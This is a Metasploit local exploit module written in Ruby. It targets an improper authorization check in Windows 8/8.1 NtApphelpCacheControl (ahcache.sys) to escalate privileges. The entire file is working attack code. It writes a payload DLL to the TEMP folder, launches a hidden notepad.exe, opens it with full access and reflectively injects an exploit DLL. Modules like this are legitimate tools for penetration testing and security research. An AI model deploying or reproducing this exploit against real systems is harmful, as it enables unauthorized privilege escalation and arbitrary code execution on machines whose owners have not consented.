## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' class Metasploit3 < Msf::Exploit::Local Rank = NormalRanking include Exploit::EXE include Msf::Post::File include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { 'Name' => 'Windows NtApphelpCacheControl Improper Authorization Check', 'Description' => %q{ On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys) allows application compatibility data to be cached for quick reuse when new processes are created. A normal user can query the cache but cannot add new cached entries as the operation is restricted to administrators. This is checked in the function AhcVerifyAdminContext. This function has a vulnerability where it doesn't correctly check the impersonation token of the caller to determine if the user is an administrator. It reads the caller's impersonation token using PsReferenceImpersonationToken and then does a comparison between the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level of the token so it's possible to get an identify token on your thread from a local system process and bypass this check. This module currently only affects Windows 8 and Windows 8.1, and requires access to C:\Windows\System\ComputerDefaults.exe (although this can be improved). }, 'License' => MSF_LICENSE, 'Author' => [ 'James Forshaw', 'sinn3r' ], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'Arch' => [ARCH_X86], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ [ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ] ], 'DefaultTarget' => 0, 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ [ 'OSVEB', '116497' ], [ 'EDB', '35661' ], [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118'] ], 'DisclosureDate' => 'Sep 30 2014' })) end def temp @temp ||= get_env('TEMP').to_s end def payload_filepath @payload_filepath ||= "#{temp}\\#{Rex::Text.rand_text_alpha(6)}.dll" end def upload_payload_dll(payload_filepath) payload = generate_payload_dll({:dll_exitprocess => true}) begin write_file(payload_filepath, payload) rescue Rex::Post::Meterpreter::RequestError => e fail_with( Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}" ) end end def upload_payload print_status("Payload DLL will be: #{payload_filepath}") # Upload the payload upload_payload_dll(payload_filepath) if !file?(payload_filepath) fail_with(Failure::Unknown, "Failed to save the payload DLL, or got removed. No idea why.") end end def inject_exploit(process) lib_file_path = ::File.join( Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", 'exploit.dll' ) print_status("Creating thread") exploit_mem, offset = inject_dll_into_process(process, lib_file_path) var_mem = inject_into_process(process, payload_filepath) process.thread.create(exploit_mem + offset, var_mem) end def prep_exploit_host process = nil notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) begin process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) rescue Rex::Post::Meterpreter::RequestError process = client.sys.process.open rescue ::Exception => e elog("#{e.message}\nCall stack:\n#{e.backtrace.join("\n")}") end process end def check if sysinfo['OS'] =~ /Windows 8/ # Still an 0day, but since this check doesn't actually trigger the vulnerability # so we should only flag this as CheckCode::Appears return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def exploit print_status("Uploading the payload DLL") upload_payload proc = prep_exploit_host if !proc fail_with(Failure::Unknown, "Fail to get a notepad.exe to run (to host the exploit)") end print_status("Injecting exploit into PID #{proc.pid}") inject_exploit(proc) end end